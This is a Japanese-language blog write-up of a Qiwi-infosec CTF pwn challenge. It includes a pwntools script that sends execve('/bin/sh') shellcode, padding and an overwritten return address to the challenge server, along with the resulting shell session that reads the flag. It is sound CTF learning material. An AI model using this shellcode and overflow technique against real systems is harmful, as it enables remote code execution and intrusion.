Qiwi-infosec CTF PWN100_1 WireUP
はじめに
11月17日に参加したQiwi-infosec CTFの問題のWriteUP書きたいと思います。
チャレンジした問題
PWN100_1:バッファオーバーフロー攻撃を使ってシェルコードを実行する。
PWM100_2:FormatString攻撃を使うことまでは分かったが解けなかった。
WriteUP PWN100_1
ncコマンドで138.201.98.42のポート4000にアクセスし、文字入力を求められます。試しに、AA・・を入力すると以下のような出力が得られます。
$nc 138.201.98.42 4000 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Trace stack: 0xffffd084: 0x000000b4 0xffffd080: 0xffffd09c 0xffffd07c: 0x56555809 <= ret 0xffffd078: 0xffffd158 0xffffd074: 0x56557000 0xffffd070: 0x00000000 0xffffd06c: 0x00000009 0xffffd068: 0xffffd09c 0xffffd064: 0xf7ff0fe0 0xffffd060: 0xffffd158 0xffffd05c: 0xf7e24940 0xffffd058: 0x00000000 0xffffd054: 0x56557000 0xffffd050: 0x00000001 0xffffd04c: 0x0000000a 0xffffd048: 0x000000b3 0xffffd044: 0xffffd09c 0xffffd040: 0xf7fcec20 0xffffd03c: 0xf7e88351 0xffffd038: 0xf7e28ec8 0xffffd034: 0x56555200 0xffffd030: 0x565552b0 0xffffd02c: 0x56557010 0xffffd028: 0xffffd044 0xffffd024: 0x00000000 0xffffd020: 0x00000001 0xffffd01c: 0x0000000a 0xffffd018: 0x000000b3 0xffffd014: 0xffffd09c 0xffffd010: 0xf7fcec20 0xffffd00c: 0xf7e8000a 0xffffd008: 0x41414141 0xffffd004: 0x41414141 0xffffd000: 0x41414141 0xffffcffc: 0x41414141 0xffffcff8: 0x41414141 0xffffcff4: 0x41414141 0xffffcff0: 0x41414141 0xffffcfec: 0x41414141 you buffer
出力のyou bufferが入力した文字を格納した場所で、retが関数の戻りアドレスを格納した場所と思われます。そして、一番左の列は、格納してあるメモリのアドレスが書かれています。戻りアドレスには次に実行するメモリのアドレスが入っているので、このアドレスを入力した文字で上書きしyou bufferのアドレス(0xffffcfec)に飛ばして、あらかじめ入力文字の中に入れておいたシェルコードを実行させます。
なお、サーバ上のメモリを上書きする際は、コマンドラインで直接入力できない(アスキーコードになってしまうため)ので、pythonのpwntoolsライブラリを利用してプログラムを作成しました。
from pwn import * import time r = remote('138.201.98.42', 4000) #return address ffffcffc ret = '\xfc\xcf\xff\xff' shellcode = '\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1' exploit_code = shellcode + ('A'*(144 - len(shellcode))) + ret + '\n' r.send(exploit_code) time.sleep(1) r.interactive()
プログラムを実行すると、サーバ側でシェルが立ち上がりました。そして、カレントディレクトリにflagというファイルがあったので、catコマンドで中身を表示させるとflagを取得できました。
$python PWN100_1.py [+] Opening connection to 138.201.98.42 on port 4000: Done [*] Switching to interactive mode Trace stack: 0xffffd094: 0x000000b4 0xffffd090: 0xffff000a 0xffffd08c: 0xffffcffc <= ret 0xffffd088: 0x41414141 0xffffd084: 0x41414141 0xffffd080: 0x41414141 0xffffd07c: 0x41414141 0xffffd078: 0x41414141 0xffffd074: 0x41414141 0xffffd070: 0x41414141 0xffffd06c: 0x41414141 0xffffd068: 0x41414141 0xffffd064: 0x41414141 0xffffd060: 0x41414141 0xffffd05c: 0x41414141 0xffffd058: 0x41414141 0xffffd054: 0x41414141 0xffffd050: 0x41414141 0xffffd04c: 0x41414141 0xffffd048: 0x41414141 0xffffd044: 0x41414141 0xffffd040: 0x41414141 0xffffd03c: 0x41414141 0xffffd038: 0x41414141 0xffffd034: 0x41414141 0xffffd030: 0x41414141 0xffffd02c: 0x41414141 0xffffd028: 0x41414141 0xffffd024: 0x41414141 0xffffd020: 0x41414141 0xffffd01c: 0x41414141 0xffffd018: 0xe1ebe189 0xffffd014: 0x5352e389 0xffffd010: 0x6e69622f 0xffffd00c: 0x6868732f 0xffffd008: 0x2f6852d2 0xffffd004: 0x31580b6a 0xffffd000: 0x68fceb68 0xffffcffc: 0x6880cd68 you buffer $ $ ls expl100 flag run $ $ cat flag flag:{Xp2dyM3RO89BuaO}
感想
CTFを初めて約2年が経過し、やっとPanableジャンルの問題をとけるようになってきました。しかし、まだ簡単なExploitしかできないので、まずはSECCON2016までに他のExplitのやり方も練習してブログに書ければと思います。